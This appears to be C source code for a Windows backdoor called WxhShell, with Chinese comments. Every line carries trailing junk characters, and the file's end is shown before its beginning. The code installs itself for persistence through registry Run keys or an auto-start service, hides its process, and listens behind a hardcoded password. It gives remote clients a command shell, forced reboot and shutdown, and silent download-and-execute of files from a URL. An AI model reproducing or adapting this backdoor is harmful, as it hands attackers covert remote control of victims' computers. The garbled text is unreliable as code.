    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q;lR|NOh  
    else { (rc 7Cp3  
    closesocket(wsh); W}y)vrL  
    ExitThread(0); r#A*{4wz  
    } m68>`  
    break; a/v]E]=qI  
    } -e_|^T"  
  // 获取shell QH,Fw$1  
  case 's': { x=Aq5*A0  
    CmdShell(wsh); Kx?.g#>U;  
    closesocket(wsh); *;(^)Sj4Q  
    ExitThread(0); }= wor~  
    break; 9Trk&OB  
  } FWB *=.A9  
  // 退出 52 *ii  
  case 'x': { lUaJC'~p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 33 S CHQ  
    CloseIt(wsh); cV"Ov@_.k  
    break; 3GNcnb  
    } z9:yt5ar  
  // 离开 (&1.!R[X  
  case 'q': { ]bAVOKm-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hH9~.4+*`g  
    closesocket(wsh); eZ$M#I=o  
    WSACleanup(); Sgr. V)  
    exit(1); ^D]J68)#a  
    break; blWtC/!Aq;  
        } H|0-Al.{  
  } /k[8xb  
  } ?S'aA !/;  
,>01Cs=t8  
  // 提示信息 x#5vdBf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h-//v~V)  
} uts>4r>+  
  } +0 }_X  
@( \R@`#  
  return; n!.=05OtX  
} Yo1]HG(kXB  
d/T&J=  
// shell模块句柄 FW5v 1s=  
int CmdShell(SOCKET sock) D^2lb"3  
{ @}19:A<'  
STARTUPINFO si; \>>P%EU,  
ZeroMemory(&si,sizeof(si)); -$kIVh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aNs8T`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j74hWz+p4  
PROCESS_INFORMATION ProcessInfo; Q% d1O  
char cmdline[]="cmd"; m[(_fOd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6:L2oW 6}{  
  return 0; :<s`)  
} ZW9OPwV  
K@JaN/OM  
// 自身启动模式 ]v0Z[l>yf  
int StartFromService(void) _g fmo  
{ [Y$ TVwFwX  
typedef struct TqL+^:cq  
{ ZDAW>H<  
  DWORD ExitStatus; ).IyjHY  
  DWORD PebBaseAddress; ~#4FL<W  
  DWORD AffinityMask; 8MI8~  
  DWORD BasePriority; uO-|?{29  
  ULONG UniqueProcessId; ,[T/O\k  
  ULONG InheritedFromUniqueProcessId;  \m~p;B  
}   PROCESS_BASIC_INFORMATION; *sZH3:  
6-uLK'E  
PROCNTQSIP NtQueryInformationProcess; -%]1q#C>@  
gwsIzYV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PqL. ^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jVLJ qWP'!  
Xz)qtDN|(  
  HANDLE             hProcess; <5mv8'{L  
  PROCESS_BASIC_INFORMATION pbi; w3"L5;oH  
`Oi#`lC\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AC'_#nPL#  
  if(NULL == hInst ) return 0; ^a`3)WBv8  
dHTx^1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -Ci&h  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5 2 Qr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )`(]jx!  
cC>Svf[CzK  
  if (!NtQueryInformationProcess) return 0; e8T"d%f?  
qrp@   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gC7Po  
  if(!hProcess) return 0; _{; _wwz  
9P ACXW0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hdi0YL  
;9WUt,R  
  CloseHandle(hProcess); tK .1 *  
8Z_ 4%vUBg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <K<#)mcv  
if(hProcess==NULL) return 0; j)Ak:l%a  
JKfJ%yy |  
HMODULE hMod; !H)-  
char procName[255]; rm9>gKN;#  
unsigned long cbNeeded; q^sZP\i,*;  
4oH ,_sr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :{ZwzJ  
Q!qD3<?5  
  CloseHandle(hProcess); *Cf!p\7!  
ppNMXbXR  
if(strstr(procName,"services")) return 1; // 以服务启动 NN=^4Xpc:  
23i2yT  
  return 0; // 注册表启动 G`kz 0Vk  
} U|Gy9"  
Uavl%Q  
// 主模块 PU,$YPrZ  
int StartWxhshell(LPSTR lpCmdLine) X?[ )e  
{ D>7J[ Yxg-  
  SOCKET wsl; J{prI;]K  
BOOL val=TRUE; (YYg-@IO  
  int port=0; GVJ||0D  
  struct sockaddr_in door; ;Su-Y!&%  
![_0GFbT  
  if(wscfg.ws_autoins) Install(); xQDQgvwa  
HnKgD:  
port=atoi(lpCmdLine); _fu <`|kc  
bKGX> %-  
if(port<=0) port=wscfg.ws_port; H!Q72tyo  
d?J&mLQ6  
  WSADATA data; ;>jEeIlT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o h\$u5  
%+Ze$c}X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Tn1V+)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }.E^_`  
  door.sin_family = AF_INET; ,0,FzxX0!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dH;2OWM  
  door.sin_port = htons(port); AQ@)'  
$.,B2}'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hEu_mw#  
closesocket(wsl); 0V>Ho H   
return 1; 5!fYTo|G>  
} ) c\Y!vS  
|,:p[Oy  
  if(listen(wsl,2) == INVALID_SOCKET) { +llb{~ZN  
closesocket(wsl); `62v5d*>a  
return 1; T\bP8D  
} ]q{_i   
  Wxhshell(wsl); QCb%d'_w+  
  WSACleanup(); uf#h~;B  
)]FXUz|;  
return 0; I2}eFz&FE  
?@,EGY <  
} F c5t,P  
8\{z>y  
// 以NT服务方式启动 dB[4NT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fxPg"R!1i  
{ gAdqZJR%]  
DWORD   status = 0; :M6v<Kg{;  
  DWORD   specificError = 0xfffffff; yT_W\"=8  
`}#rcDK  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lMGO4U[z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \8QOZjy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?l?l<`sTO  
  serviceStatus.dwWin32ExitCode     = 0; =3-?$  
  serviceStatus.dwServiceSpecificExitCode = 0; {<gv1Yht  
  serviceStatus.dwCheckPoint       = 0; >x;\H(g  
  serviceStatus.dwWaitHint       = 0; aF^N  Ye  
94ruQ/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iLuC_.'u=  
  if (hServiceStatusHandle==0) return; ~>u| 7 M$(  
7GsKD=bl]  
status = GetLastError(); ~ W8X g)  
  if (status!=NO_ERROR) Uc {m##!  
{ s__xBY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sV a0eGc  
    serviceStatus.dwCheckPoint       = 0; \Dq'~ d  
    serviceStatus.dwWaitHint       = 0; rN} 8~j  
    serviceStatus.dwWin32ExitCode     = status; KoNu{TJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2wY|E<E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,.QJ S6Yv  
    return; 8.B'O>\T  
  } }^Q:Q\  
Mt-r`W3 q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1l#46?]~  
  serviceStatus.dwCheckPoint       = 0; dz([GP'-*  
  serviceStatus.dwWaitHint       = 0; .yZLC%}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dE_Xd :>  
} l EFd^@t  
H575W"53  
// 处理NT服务事件,比如:启动、停止 _P qq*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Uw.')ZY=  
{ 1$vGQ  
switch(fdwControl) OA3J(4!"W  
{ MZ,1mR  
case SERVICE_CONTROL_STOP: b`#YJpA  
  serviceStatus.dwWin32ExitCode = 0; ,7&\jET5^0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (V6bX]<  
  serviceStatus.dwCheckPoint   = 0; I!Z`'1"  
  serviceStatus.dwWaitHint     = 0; 3t TOs  
  { z:#]P0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~k?rP}>0  
  } 05FGfnq.8  
  return; S"h;u=5it  
case SERVICE_CONTROL_PAUSE: r$={_M$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bLai@mL&a  
  break; e`qrafa  
case SERVICE_CONTROL_CONTINUE: V'XEz;Ze  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Qi`3$<W>  
  break; [Xu8~c X  
case SERVICE_CONTROL_INTERROGATE: <@ .e.H  
  break; gA(npsUHI  
}; [_)`G*X(N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UGO;5!  
} XMI*obS'z  
]LC4rS  
// 标准应用程序主函数 hI86WP9*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F0U %m   
{ }MRgNr'k  
0#J~@1Gf  
// 获取操作系统版本 1z6aMd6.  
OsIsNt=GetOsVer(); Z\IM~-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y 9]d{:9  
C{J5:ak  
  // 从命令行安装 ZxnPSA@%  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'lZlfS:Z8  
ES+ CAwqf  
  // 下载执行文件 pKc!sd C  
if(wscfg.ws_downexe) {  _'!?fA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kuH%aM<R  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;]-08lzO<4  
} fg)*TR  
|:R\j0t  
if(!OsIsNt) { I+& T}R  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;\0|1Eem`  
HideProc(); '0+I'_(  
StartWxhshell(lpCmdLine); ZwMVFC-d  
} 6LDZ|K@  
else a20w.6F  
  if(StartFromService()) iP(MDVg  
  // 以服务方式启动 gFTU9k<  
  StartServiceCtrlDispatcher(DispatchTable); lKejWT`;  
else $#h U_vr  
  // 普通方式启动 E'f7=ChNF  
  StartWxhshell(lpCmdLine); &gXL{cK'%  
%1A8m-u]M  
return 0; #H~55))F  
} ,/+Mp  
#,#_"  
;O hQBAC  
9A.NM+u7  
=========================================== ]20:8l'  
M +OVqTsFU  
%HG+ |)b  
7He"IJ  
FAnz0p+t  
Bo "9;F  
" 3%)cUkD  
`Vw G]2 I  
#include <stdio.h> LLTr+@lj  
#include <string.h> QPf\lN/$4d  
#include <windows.h> _;PQt" ]  
#include <winsock2.h> !}*vM@)1  
#include <winsvc.h> 1-p#}VX  
#include <urlmon.h> SSF:PTeG>  
t08U9`w  
#pragma comment (lib, "Ws2_32.lib") MM32\}Y6  
#pragma comment (lib, "urlmon.lib") :5~Dca_iU4  
UmVn:a  
#define MAX_USER   100 // 最大客户端连接数 <9pI~\@w  
#define BUF_SOCK   200 // sock buffer IE\RP!  
#define KEY_BUFF   255 // 输入 buffer @H?OHpJ"`  
K`N$nOw  
#define REBOOT     0   // 重启 l\{Qnb(  
#define SHUTDOWN   1   // 关机 *,X)tZ6VX  
i 7]o[  
#define DEF_PORT   5000 // 监听端口 AJ/Hw>>$?m  
I'P|:XKI  
#define REG_LEN     16   // 注册表键长度 )isS^O$qH  
#define SVC_LEN     80   // NT服务名长度 M]5l-i$  
oi0O4J%H  
// 从dll定义API Vl1.]'p_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VzSkqWF/"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lD$s, hp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \>:t={>;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P[ o"%NZ'  
$R #_c}  
// wxhshell配置信息 hD5@PeLh  
struct WSCFG { GcRH$,<XG  
  int ws_port;         // 监听端口 {O _X/y~  
  char ws_passstr[REG_LEN]; // 口令 aZ~e;}w.Zq  
  int ws_autoins;       // 安装标记, 1=yes 0=no rwDLBpk  
  char ws_regname[REG_LEN]; // 注册表键名 N#M>2b<A/T  
  char ws_svcname[REG_LEN]; // 服务名 EN`JzL jP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZiR}S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G%~V b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |gA@$1+}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9q?knMt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5]*lH t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bq7+l4CGTv  
]xvhUv!G  
}; YTTy6*\,_  
.K~V DUu  
// default Wxhshell configuration On);SN'  
struct WSCFG wscfg={DEF_PORT, O])vR<[  
    "xuhuanlingzhe", ,$Fh^KNo]  
    1, M %zf?>])  
    "Wxhshell", {($mLfC4  
    "Wxhshell", 2+pw%#fe  
            "WxhShell Service", )b nGZ8h99  
    "Wrsky Windows CmdShell Service", \Nik`v*Pd  
    "Please Input Your Password: ", eM$a~4!d  
  1, %. ((4 6)  
  "http://www.wrsky.com/wxhshell.exe", ;,U@zB;\%(  
  "Wxhshell.exe" Ds] .Ae  
    }; Eo$l-Hl5=  
T+XcEI6w  
// 消息定义模块 ?T73BL=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; > U3>I^Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z&!o1uq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; a'` i#U  
char *msg_ws_ext="\n\rExit."; `GqF/?i  
char *msg_ws_end="\n\rQuit."; XzV>q~I3|E  
char *msg_ws_boot="\n\rReboot..."; hRuiuGC  
char *msg_ws_poff="\n\rShutdown..."; !m\By%(  
char *msg_ws_down="\n\rSave to "; u*l>)_HD  
;0_T\{H"nR  
char *msg_ws_err="\n\rErr!"; %pg)*>P h  
char *msg_ws_ok="\n\rOK!"; Z=-#{{bv  
AIl`>ac  
char ExeFile[MAX_PATH]; TCzz]?G]la  
int nUser = 0; IJ.H/l}h  
HANDLE handles[MAX_USER]; `ci  P  
int OsIsNt; Onqapm0  
hlyh8=Z6o  
SERVICE_STATUS       serviceStatus; LGy6 2 y$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0e>?!Z E  
L~+aD2 E {  
// 函数声明 >}.~Y#Ge  
int Install(void); ShRMzU  
int Uninstall(void); OtL~NTY  
int DownloadFile(char *sURL, SOCKET wsh); 7y&=YCkc7  
int Boot(int flag); O^c?w8   
void HideProc(void); ;xTMOuI*  
int GetOsVer(void); J8FzQ2  
int Wxhshell(SOCKET wsl); ,%m~OB #  
void TalkWithClient(void *cs); dT1UYG}>j  
int CmdShell(SOCKET sock); \l(}8;5}  
int StartFromService(void); d+P<ce2 G  
int StartWxhshell(LPSTR lpCmdLine); uF%N`e^S  
Nc6y]eGz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *C)m#[#:u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); or ~@!  
7g8\q@',  
// 数据结构和表定义 im>/$!&OyI  
SERVICE_TABLE_ENTRY DispatchTable[] = `o_i+?E  
{ .nr%c*JUp  
{wscfg.ws_svcname, NTServiceMain}, x?6^EB|@  
{NULL, NULL} +Rd\*b  
}; RU.j[8N$  
LCRWC`%&  
// 自我安装 hBZh0x y  
int Install(void) :n <l0  
{ ~>]Ie~E: (  
  char svExeFile[MAX_PATH]; ; mV>k_AG  
  HKEY key; Lo'G fHE  
  strcpy(svExeFile,ExeFile); Yo5ged]i  
V'.gE6we  
// 如果是win9x系统,修改注册表设为自启动 VKXB)-'L  
if(!OsIsNt) { K~&3etQF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T?n[1%K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |a1zJ_t4  
  RegCloseKey(key); C>l (4*S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K/(Z\lL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qk&BCkPT  
  RegCloseKey(key); 6jal5<H  
  return 0; 5=poe@1g  
    } UBwYwm0  
  } 3wgZDF38  
} T2T?)_f /  
else { W.7u6F`  
h 1j1PRE  
// 如果是NT以上系统,安装为系统服务 aIfB^M*c5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w `M/0.)V  
if (schSCManager!=0) ,;= S\  
{ iQh:y:Jo1&  
  SC_HANDLE schService = CreateService p{V(! v|  
  ( sYTToanA$?  
  schSCManager, 78mJ3/?rC  
  wscfg.ws_svcname, FP6Jf I8  
  wscfg.ws_svcdisp, fb]=MoiJ  
  SERVICE_ALL_ACCESS, 7z&^i-l.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \Zk<|T61$  
  SERVICE_AUTO_START, ^^Q> AfTR.  
  SERVICE_ERROR_NORMAL, ||Wg'$3  
  svExeFile, ,(yaWd6  
  NULL, ]G~u8HPH!m  
  NULL, j1@PfKh  
  NULL, FZ% WD@=  
  NULL, <dY{@Cgw=  
  NULL VDy_s8Z#  
  ); %+$!ctn  
  if (schService!=0) Gm\jboef]  
  { {2&MyxV  
  CloseServiceHandle(schService); ^6 ,}*@  
  CloseServiceHandle(schSCManager); mc6W"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s[*I210  
  strcat(svExeFile,wscfg.ws_svcname); 3V/|"R2s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aOW~! f/M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \?k"AtL  
  RegCloseKey(key); tUFXx\p  
  return 0; "FfP&lF/  
    } o, qBMo^.  
  } P$A'WEO'  
  CloseServiceHandle(schSCManager); |SsmVW$B|  
} C Yk"  
} Of$gs-  
wMiRN2\^  
return 1; zL:k(7E  
} %t-}dC&  
]O M?e  
// 自我卸载 6FI`0j=~  
int Uninstall(void) iHOvCrp+X  
{ #mv~1tL  
  HKEY key; 4vPKDd  
cT^x^%  
if(!OsIsNt) { 'P >h2^z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O%s?64^U  
  RegDeleteValue(key,wscfg.ws_regname); cy_zEJjbD  
  RegCloseKey(key); ^t)alNGos  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O$& 4{h`  
  RegDeleteValue(key,wscfg.ws_regname); k{C|{m  
  RegCloseKey(key); )0@&pEObm  
  return 0; ^$\#aTyFK  
  } {[FJkP2l  
} 8F`799[p  
} }KL( -Ui$  
else { jowR!rqf  
ZltY_5l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~D Ta% J  
if (schSCManager!=0) QcDtZg\  
{ }2_ i<4,L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y +c 3#  
  if (schService!=0) Os|F  
  { NIOWjhi[Jn  
  if(DeleteService(schService)!=0) { A&;Pt/#'  
  CloseServiceHandle(schService); so\8.(7n  
  CloseServiceHandle(schSCManager); X1~ B  
  return 0; [kg*BaG:  
  } [ U?a %$G>  
  CloseServiceHandle(schService); e;)&Hc:Z  
  } u'EzYJ7  
  CloseServiceHandle(schSCManager); ~bk+JK- >  
} W(UrG]J*l  
} ~Aq$GH4  
%L;'C v  
return 1; +LAjh)m  
} l ilF _ y  
GGwHz]1L  
// 从指定url下载文件 be{tyV  
int DownloadFile(char *sURL, SOCKET wsh) *+'l|VaVq\  
{ .1& F p  
  HRESULT hr; 0(dXU\Y  
char seps[]= "/"; 5l(Q#pSX  
char *token; ) bGzsb1\  
char *file; 5;-?qcb^w  
char myURL[MAX_PATH]; N,NEg4 q[  
char myFILE[MAX_PATH]; )OcG$H NK  
*l4`2eqZ  
strcpy(myURL,sURL); Kf7v_T /  
  token=strtok(myURL,seps); ('.r_F  
  while(token!=NULL) (|<.7K N  
  { vy330SQPo  
    file=token; QZ51}i  
  token=strtok(NULL,seps); qy|si4IU8,  
  } VjVL/SO/  
O:,Fif?;  
GetCurrentDirectory(MAX_PATH,myFILE); ]):kMRv  
strcat(myFILE, "\\"); <oWoJP`G  
strcat(myFILE, file); x?B8b-*  
  send(wsh,myFILE,strlen(myFILE),0); ?rgk  
send(wsh,"...",3,0); ^aG=vXK`b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uEKa  FRm  
  if(hr==S_OK) &-0 eWwMW  
return 0; Fps.Fhm  
else GT"gB$Mh  
return 1; SLG3u;Ab  
F[S Ys/M  
} HJu;4O($  
wm r8[n&c  
// 系统电源模块 p94 w0_m@|  
int Boot(int flag) >Kc>=^=5  
{ .AgD`wba  
  HANDLE hToken; \hwz;V.J"  
  TOKEN_PRIVILEGES tkp; x GHS  
RGim):1e  
  if(OsIsNt) { )FrXD3 p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  P7GF"/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o!+jPwEU  
    tkp.PrivilegeCount = 1; R\wG3Oxol  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lx&ME#~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7Q9zEd" d  
if(flag==REBOOT) { \WeGO.i-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?0VLx,kp  
  return 0; yXx}'=&!0  
} Qm\VZ<6/5  
else { i`1QR@11  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G6b\4}E  
  return 0; n3kYVAgF  
}  !mX 2  
  } _ADK8a6%)  
  else { :A{ US9D  
if(flag==REBOOT) { |H4/a;]~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jci'q=Vpu  
  return 0; JUlV$b.)J  
} 4V`ypFme  
else { /# M|V6n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [=Yfdh M8S  
  return 0; HEjrat;5  
} Wh)QCp0|n  
} X>#!s Lt  
7QlA/iKqK  
return 1; 5!PU+9Kh  
} m{bw(+r  
+FoR;v)z=F  
// win9x进程隐藏模块 <eq93  
void HideProc(void) IRZ?'Im  
{ ;?9u#FRtw  
|'2E'?\/x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P2`!)teN  
  if ( hKernel != NULL ) ~ 0x9`~  
  { V}>0r+NL<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `~"l a>}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e FPDW;  
    FreeLibrary(hKernel); B%L0g.D"  
  } dfo{ B/+  
$e! i4pM  
return; l\yFx  
} $siiG|)C1  
B=/*8,u  
// 获取操作系统版本 8yH) 8:w  
int GetOsVer(void) bYEq`kjzc  
{ ~T')s-,l,:  
  OSVERSIONINFO winfo; 5 s>$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zX!zG<<K  
  GetVersionEx(&winfo); A}b<Lg  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) otXB:a  
  return 1; (s,*soAN  
  else nJYcC"f  
  return 0; rBP!RSl1  
} 7 3k3(rZ  
Nd&u*&S  
// 客户端句柄模块 kg$<^:uX  
int Wxhshell(SOCKET wsl) ~h;c3#wuc  
{ +[JGi"ca  
  SOCKET wsh; .(  vS/  
  struct sockaddr_in client; eA>O<Z1>  
  DWORD myID; '$M=H.  
:Q\b$=,:  
  while(nUser<MAX_USER) Xv'M\T}6C+  
{ ztG_::QtG]  
  int nSize=sizeof(client); DB yRP-TH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +>oVc\$  
  if(wsh==INVALID_SOCKET) return 1; aT#R#7<Eg  
5w`v 3o  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !V.'~xj  
if(handles[nUser]==0) S)GWr"m-  
  closesocket(wsh); 6ZVJ2xs[%  
else !9i,V{$c`"  
  nUser++; :<s)QD  
  } +EcN[-~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GP uAIoBo  
] w FFGy  
  return 0; 9[|Ql  
} Pe/cwKCI  
un[Z$moN"  
// 关闭 socket #5T+P8  
void CloseIt(SOCKET wsh) +"a . ,-f!  
{ ~) }npS;  
closesocket(wsh); D:llGdU#2  
nUser--; ;KmSz 1A  
ExitThread(0); POc< G^  
} ~l-Q0wg  
"}|n;:r  
// 客户端请求句柄 Hq^sU%  
void TalkWithClient(void *cs) >U9*  
{ jd=k[Yqr  
@3{'!#/  
  SOCKET wsh=(SOCKET)cs; g!<@6\RB  
  char pwd[SVC_LEN]; .8CR \-  
  char cmd[KEY_BUFF]; LZyUlz  
char chr[1]; >(u=/pp=:  
int i,j; A%u-6"  
g^1M]1.f  
  while (nUser < MAX_USER) { j ij:}.d6  
=_8  
if(wscfg.ws_passstr) { KLs%{'[7:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "-vm=d~\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }}Eko7'^  
  //ZeroMemory(pwd,KEY_BUFF); J(S.iTD  
      i=0; CJ&0<Z}{m  
  while(i<SVC_LEN) { l.lXto.6)  
V$-IRdb  
  // 设置超时 APuG8 <R,  
  fd_set FdRead; VVvV]rU~  
  struct timeval TimeOut; :M1S*"&:  
  FD_ZERO(&FdRead); G6Z2[Ej1  
  FD_SET(wsh,&FdRead); 4_`+&  
  TimeOut.tv_sec=8; .-[UHO05^8  
  TimeOut.tv_usec=0; 'rU [V+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y-{^L`%Mk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GLt#]I"LY  
j"/i+r{"E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )=;0  
  pwd=chr[0]; on+ c*#  
  if(chr[0]==0xd || chr[0]==0xa) { z:|4S@9  
  pwd=0; .wx; !9  
  break; zO2Z\E'% .  
  } v?)JM+  
  i++; 8MM#q+8  
    } mT>56\63  
x9~d_>'A  
  // 如果是非法用户,关闭 socket (H<S&5[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kh 1 7  
} oKiBnj5J  
Tl%#N"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zhU)bb[A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <n>Kc}c  
FlRbGg^  
while(1) { q/?#+d  
q.t>:`  
  ZeroMemory(cmd,KEY_BUFF); 7Xm pq&g  
U/m6% )Yx(  
      // 自动支持客户端 telnet标准   ;c_X ^"d  
  j=0; 0CQ\e1S,#  
  while(j<KEY_BUFF) { 1Qtojph  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &n6mXFF#>P  
  cmd[j]=chr[0]; N0sf V  
  if(chr[0]==0xa || chr[0]==0xd) { 4_8%ZaQ\.?  
  cmd[j]=0; a [iC!F2  
  break;  Jt.dR6,  
  } y|nMCkuX  
  j++; 9PVM06   
    } M$ `b$il  
7:I` ~ @m  
  // 下载文件 j{IAZs#@>  
  if(strstr(cmd,"http://")) { gpe^G64c`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IR?ICXmtx  
  if(DownloadFile(cmd,wsh)) $[6:KV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _LFZ0  
  else !!b5vzyve  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ni'vz7j  
  } c</d1xT  
  else { q[nX<tO  
